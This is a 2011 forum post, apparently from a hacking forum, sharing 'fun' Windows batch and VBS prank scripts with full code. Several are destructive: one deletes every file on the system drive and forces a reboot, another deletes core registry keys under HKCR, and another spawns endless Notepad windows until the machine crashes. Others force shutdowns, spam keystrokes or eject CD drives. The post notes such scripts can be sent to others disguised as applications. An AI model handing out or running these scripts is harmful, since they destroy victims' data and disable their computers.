Fun batch and VBS codes 09-11-2011, 02:34 PM
#1
The blue screen of Death [this might be dangerous]
*The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install ur windows again
```````````````````````````````````
incorrect ^
as well, it does cause the BSoD...because its real. Not fake.
Deletes all files off of your systemdrive, (usually c:/)
-Stupidity Shutdown
*This pops up a funny message then will shutdown the computer
Can be reverse by typing "shutdown -a" into a CMD or RUN, or ran from Batch.
-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)
Deletes all files from Hive-Key-Classes-Root
As well as the keys and values.
-Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*
Reversible, by one of the following.
1. having task manager open and end process tree>cmd.exe
2. a batch file to quickly terminate by force, cmd.exe
-Crazy caps lock
*This constantly turns caps lock on and off really fast continuously*
This is VBS, save from notepad as "title".VBS
-Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*
This is VBS, save from notepad as "title".VBS
-Endless Backspace
*This makes it so the backspace key is constantly being pressed*
This is VBS, save from notepad as "title".VBS
-Popping CD Drives
*This will make the CD drives constantly pop out*
This is VBS, save from notepad as "title".VBS
*The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install ur windows again
```````````````````````````````````
incorrect ^
as well, it does cause the BSoD...because its real. Not fake.
Deletes all files off of your systemdrive, (usually c:/)
Code:
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00-Stupidity Shutdown
*This pops up a funny message then will shutdown the computer
Can be reverse by typing "shutdown -a" into a CMD or RUN, or ran from Batch.
Code:
@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c "Error! You are too stupid!" -s -t 10-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)
Deletes all files from Hive-Key-Classes-Root
As well as the keys and values.
Code:
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE-Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*
Reversible, by one of the following.
1. having task manager open and end process tree>cmd.exe
2. a batch file to quickly terminate by force, cmd.exe
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top-Crazy caps lock
*This constantly turns caps lock on and off really fast continuously*
This is VBS, save from notepad as "title".VBS
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop-Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*
This is VBS, save from notepad as "title".VBS
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop-Endless Backspace
*This makes it so the backspace key is constantly being pressed*
This is VBS, save from notepad as "title".VBS
Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop-Popping CD Drives
*This will make the CD drives constantly pop out*
This is VBS, save from notepad as "title".VBS
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop



![[+]](https://sinister.li/images/modern/collapse_collapsed.png)














![[Image: 5DQAS.gif]](http://dragcave.net/image/5DQAS.gif)